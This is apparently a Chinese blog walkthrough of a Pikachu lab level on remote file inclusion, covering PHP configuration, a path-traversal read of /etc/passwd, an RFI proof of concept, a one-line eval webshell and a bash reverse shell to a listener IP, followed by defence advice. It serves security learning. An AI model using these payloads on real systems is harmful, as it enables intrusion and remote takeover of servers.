Pikachu靶场通关笔记(32) — Remote File Inclusion (远程文件包含与Shell反弹)

51次阅读
没有评论

摘要 / 前言:
文件包含漏洞分为本地包含 (LFI) 和远程包含 (RFI)。RFI 允许攻击者包含并执行位于远程服务器(如攻击者搭建的 HTTP 服务器)上的文件。
相比于 LFI 往往需要配合文件上传或日志中毒,RFI 更加简单粗暴。但 RFI 对 PHP 环境配置有特殊要求,通常需要手动开启。
本次通关记录了从配置环境、验证漏洞,到利用远程文件获取 Webshell 和反弹 Shell 的进阶过程。


一、环境准备 (关键步骤)

在默认的 PHP 配置中,为了安全起见,远程包含功能是关闭的。做题前必须先检查并修改配置。

  1. 定位配置文件
    根据 phpinfo 页面,找到 Loaded Configuration File/etc/php/7.3/apache2/php.ini。如果你不知道 php.ini 位置,可以去 rce 的 exec”eval” 关卡,输入 phpinfo(); 就可以得到。
  2. 修改配置
    进入容器修改 php.ini,找到以下两项并确保为 On
    ini allow_url_fopen = On ; 默认通常开启
    allow_url_include = On ; 必须手动开启,否则无法包含远程文件
  3. 重启服务
    修改后重启 Apache 服务 (service apache2 restart) 使配置生效。
Pikachu 靶场通关笔记(32) — Remote File Inclusion (远程文件包含与 Shell 反弹)

二、漏洞验证过程

1. 基础验证:本地包含 (LFI)

在进行远程利用前,先测试本地包含以确保参数点没问题。
Payload:

include/../../../../etc/passwd

结果: 成功读取到 /etc/passwd 内容,确认 filename 参数存在包含漏洞。

Pikachu 靶场通关笔记(32) — Remote File Inclusion (远程文件包含与 Shell 反弹)

2. 进阶利用:远程代码执行 (RFI PoC)

攻击者(我)在公网服务器准备了一个文本文件 phpinfo.txt,内容如下:

<?php
echo phpinfo();
echo "RFI Test Success";
?>

利用 URL:

http://localhost:8899/vul/fileinclude/fi_remote.php?filename=https://www.hzx123.xyz/phpinfo.txt&submit= 提交

结果:
Pikachu 靶场服务器成功请求了我的远程文件,并将其中的 PHP 代码在本地执行,页面显示了 PHPInfo 信息。
结论: 这代表一次成功的攻击!此时我们已经拥有了在目标服务器上执行任意 PHP 代码的能力。

Pikachu 靶场通关笔记(32) — Remote File Inclusion (远程文件包含与 Shell 反弹)

三、深度利用:如何 GetShell?

既然能执行 phpinfo(),为了获得更具威胁的控制权,我们可以通过修改远程文件的内容来实现 Webshell反弹 Shell

方式一:挂载 Webshell (一句话木马)

修改远程服务器上的 phpinfo.txt (或者新建一个 shell.txt),内容改为:

<?php @eval($_POST['pass']); ?>

利用步骤:

  1. 在浏览器访问包含该文件的 URL。
  2. 使用 哥斯拉 (Godzilla) 连接该 URL。
  3. 密码pass
  4. 效果:直接获得目标服务器的文件管理、终端执行权限。
Pikachu 靶场通关笔记(32) — Remote File Inclusion (远程文件包含与 Shell 反弹)

方式二:反弹交互式 Shell (Reverse Shell)

如果想像之前的 RCE 题目一样,直接弹一个 Shell 到 Kali 终端,操作如下:

  1. 修改远程文件
    https://www.hzx123.xyz/phpinfo.txt 的内容修改为反弹 Shell 代码(注意 IP 是 Kali/ 监听机 IP): 假设攻击机监听 IP 为 192.168.93.129,端口 5566。
    <?php system("bash -c'bash -i >& /dev/tcp/192.168.93.129/5566 0>&1'"); ?>
  2. 攻击机监听
    在 Kali 中启动 Netcat:nc -lvp 5566
  3. 触发漏洞
    再次刷新靶场的包含链接:
    http://localhost:8899/vul/fileinclude/fi_remote.php?filename=https://www.hzx123.xyz/phpinfo.txt&submit= 提交
  4. 成功获取 Shell
    浏览器会处于加载转圈状态,而 Kali 终端会瞬间收到反弹回来的 Shell 提示符 www-data@...$
Pikachu 靶场通关笔记(32) — Remote File Inclusion (远程文件包含与 Shell 反弹)

四、总结与防御

RFI 的危害:
RFI 几乎等同于 RCE。只要服务器允许远程包含,攻击者就可以让服务器执行互联网上任意位置的恶意代码,无需绕过文件上传的后缀限制。

防御措施:

  1. 核心防御:在 php.ini 中严格设置 allow_url_include = Off(现代 PHP 版本默认为 Off)。
  2. 代码防御
    • 避免直接将用户输入作为文件名传入 include/require
    • 使用白名单校验机制,只允许包含指定的文件。
      php $files = ['file1.php', 'file2.php']; if (in_array($_GET['filename'], $files)) {include $_GET['filename']; }
正文完
 0
评论(没有评论)